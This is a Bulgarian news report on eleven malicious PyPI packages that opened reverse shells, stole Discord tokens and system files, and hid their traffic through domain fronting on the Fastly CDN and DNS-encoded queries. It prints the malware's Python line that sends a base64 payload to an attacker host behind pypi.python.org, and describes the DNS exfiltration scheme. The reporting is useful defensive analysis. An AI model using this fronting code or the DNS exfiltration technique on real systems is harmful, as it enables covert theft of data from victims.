В каталога PyPI бяха открити злонамерени библиотеки, използващи CDN PyPI за прикриване на канала за комуникация.

В каталога PyPI (Python Package Index) бяха открити 11 пакета, съдържащи злонамерен код. Преди да бъдат открити проблемите, пакетите бяха изтеглени около 38 хиляди пъти. Откритите злонамерени пакети се отличават с прилагането на сложни методи за скриване на комуникационните канали с серверите на нападателите.

• importantpackage (6305 изтегляния), important-package (12897) — установяваха връзка с външен сервер под формата на свързване с pypi.python.org за предоставяне на shell-достъп до системата (обратен shell) и използваха програмата trevorc2 за скриване на канала за комуникация.
• pptest (10001), ipboards (946) — използваха DNS като комуникационен канал за прехвърляне на информация за системата (в първия пакет името на хоста, работния каталог, вътрешния и външния IP, а във втория — името на потребителя и хоста).
• owlmoon (3285), DiscordSafety (557), yiffparty (1859) — откриваха токена на услугата Discord в системата и го изпращаха на външен хост.
• trrfab (287) — изпращаше на външен хост идентификатор, име на хоста и съдържанието на /etc/passwd, /etc/hosts, /home.
• 10Cent10 (490) — установяваше обратна shell-връзка с външен хост.
• yandex-yt (4183) — изкарваше съобщение за компрометиране на системата и пренасочваше на страница с допълнителна информация за следващите действия, предоставяна чрез nda.ya.ru (api.ya.cc).

По-специално внимание заслужава методът на взаимодействие с външни хостове, използван в пакетите importantpackage и important-package, които използваха мрежата за доставка на съдържание Fastly за скриване на тяхната активност в каталога PyPI. Всъщност заявките се изпращаха до сървъра pypi.python.org (включително с указване на името python.org в SNI в заявката HTTPS), като същевременно в HTTP заглавката "Host" беше посочено името на сървър, контролиран от атакуващите (sec.forward.io.global.prod.fastly.net). Мрежата за доставка на съдържание насочваше подобни заявки към сървъра на нападателите, използвайки при предаването на данни параметрите на TLS връзката с pypi.python.org.

Работата на инфраструктурата на PyPI се осъществява с помощта на мрежата за доставка на съдържание Fastly, в която за кеширане на стандартни заявки се използва прозрачен прокси Varnish, а също така се обработват TLS сертификатите на ниво CDN, а не на крайни сървъри, за организиране на пренасочване на HTTPS заявки през прокси. Независимо от целевия хост, заявките се насочват към проксито, което определя необходимия хост по HTTP заглавката "Host", а домейните Хостовете се свързват с типичните за всички клиенти Fastly IP адреси на балансировщиците на натоварване на CDN.

Серверът на атакуващите също се регистрира в CDN Fastly, който предоставя на всички желаещи безплатни тарифни планове и дори допуска анонимна регистрация. Забележително е, че за изпращане на заявки към жертвата при създаването на 'reverse shell' също се използва същата схема, но инициирана от страна на жертвения хост. От страна на взаимодействието с атакуващия сървър изглежда като легитимна сесия с каталога PyPI, шифрован с използването на TLS-сертификат PyPI. Подобна техника, известна като 'domain fronting', по-рано активно се е използвала за скриване на името на хоста при заобикаляне на блокировки, използвайки предоставяната в някои CDN мрежи възможност за осъществяване на HTTPS връзка с указание на фиктивен хост в SNI и фактическата предаване на името на искания хост в HTTP заглавката Host вътре в TLS сесията.

За скриване на злонамерената активност допълнително е бил използван пакетът TrevorC2, който позволява взаимодействието със сървера да изглежда подобно на обикновен уеб сърфинг. Например, злонамерените заявки са изпращани от името на зареждане на изображение 'https://pypi.python.org/images/guid=' с кодиране на информацията в параметъра guid. url = 'https://pypi.python.org' + '/images' + '?' + 'guid=' + b64_payload r = request.Request(url, headers = {'Host': 'psec.forward.io.global.prod.fastly.net'})

В пакетите pptest и ipboards е приложен различен подход за скриване на мрежовата активност, основан на кодиране на полезната информация в заявките към DNS сървъра. Злонамереният софтуер предава информация, изпълнявайки DNS заявки от вида 'nu4timjagq4fimbuhe.example.com', в които с помощта на base64 формата в името на поддомейна са кодирани предаваните на управляващия сървър данни. Злоумышленикът получава данни от съобщението, контролирайки DNS сървъра за домейна example.com.

Източник: opennet.ru